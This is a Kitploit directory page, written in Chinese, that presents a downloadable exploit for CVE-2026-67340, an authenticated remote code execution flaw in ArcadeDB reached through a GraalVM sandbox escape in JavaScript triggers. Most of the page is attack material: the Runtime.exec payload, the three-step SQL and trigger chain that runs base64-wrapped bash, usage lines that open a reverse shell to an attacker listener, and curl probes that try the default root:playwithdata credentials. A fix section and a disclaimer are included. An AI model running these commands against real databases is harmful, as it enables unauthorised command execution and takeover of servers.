Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-67340_exploit — 用于 ArcadeDB 的认证后 RCE 漏洞利用,通过 JavaScript 触发器实现 GraalVM 沙箱逃逸,经 HTTP API 执行操作系统命令,支持反弹 Shell 与盲命令两种模式。 | Kitploit
工具/GitHubGitHub/0xdak/cve-2026-67340_exploit
漏洞利用Web应用程序漏洞利用渗透测试数据库安全
GitHub0xdak/cve-2026-67340_exploit

CVE-2026-67340_exploit

用于 ArcadeDB 的认证后 RCE 漏洞利用,通过 JavaScript 触发器实现 GraalVM 沙箱逃逸,经 HTTP API 执行操作系统命令,支持反弹 Shell 与盲命令两种模式。

查看仓库
17天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-67340 — ArcadeDB JAVASCRIPT 触发器脚本 RCE(认证后)

通过一个可触达宿主类的 JAVASCRIPT 触发器,在 ArcadeDB (一款 Java 多模型数据库)中实现认证后的远程代码执行。

触发器的 GraalVM 多语言引擎在构建时带有宿主类白名单,其中包含 java.lang.*(ScriptTriggerExecutor.setAllowedPackages),因此触发器脚本可以调用:

root@kitploit:~
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);

allowCreateProcess(false) 不能阻止它 —— Runtime.exec 是一种宿主方法调用, 由 HostAccess.ALL 允许,而不是 GraalVM 的客户进程 API。创建触发器只需要 UPDATE_SCHEMA 权限(比限制直接脚本执行的 UPDATE_SECURITY 更弱),因此 root 就可以做到 —— 通过 HTTP API 实现认证后 RCE。

  • 影响范围: ArcadeDB < 26.7.2(0 – 26.7.1)
  • 已修复版本: 26.7.2(从触发器白名单中移除 java.lang.*,并添加一个显式的 HostClassLookupFilter,其中包含进程/反射/类加载器拒绝列表)
  • 默认端口: 2480(HTTP API 和 Studio;基本认证)
  • CWE: 94(代码注入)/ 沙箱逃逸
  • 影响: 以 ArcadeDB 进程用户身份执行操作系统命令

直接的 language:js 命令路径不是攻击向量 —— 它没有允许的包 (Java.type 被阻止),并且受 UPDATE_SECURITY 保护。只有触发器执行器 硬编码了 java.lang.*。

要求

仅需 Python 3 标准库 —— 无其他依赖。需要具有 UPDATE_SCHEMA 权限的有效 ArcadeDB 凭据 (例如 root)。ArcadeDB 没有硬编码的默认密码,但其自带的 docker-compose.yml 包含了 示例 root:playwithdata,这是一种常见的遗留未改凭据。

用法

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'

# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb

工作原理

三个已认证的 POST /api/v1/command/<db> 请求(language:sql):

  1. CREATE DOCUMENT TYPE Pwn
  2. CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'
  3. INSERT INTO Pwn SET x = 1 — BEFORE CREATE 触发器触发,JavaScript 执行。

操作系统命令经过 base64 包装,因此 JavaScript/SQL/JSON 各层无需嵌套引号转义, 并且脚本省略了 waitFor(),因此 exec 会立即返回(子进程继续运行, 请求不会阻塞)。

识别目标

root@kitploit:~
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases   # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases               # lists databases

修复措施

升级到 ArcadeDB ≥ 26.7.2,设置强 rootPassword(绝不要用 playwithdata),不要以 root 身份运行 ArcadeDB,限制 UPDATE_SCHEMA 权限,并让 HTTP API/Studio 远离不受信任的网络。

免责声明

仅用于授权的安全测试和教育目的。只针对你拥有或已获得明确测试许可 的系统使用。

下载工具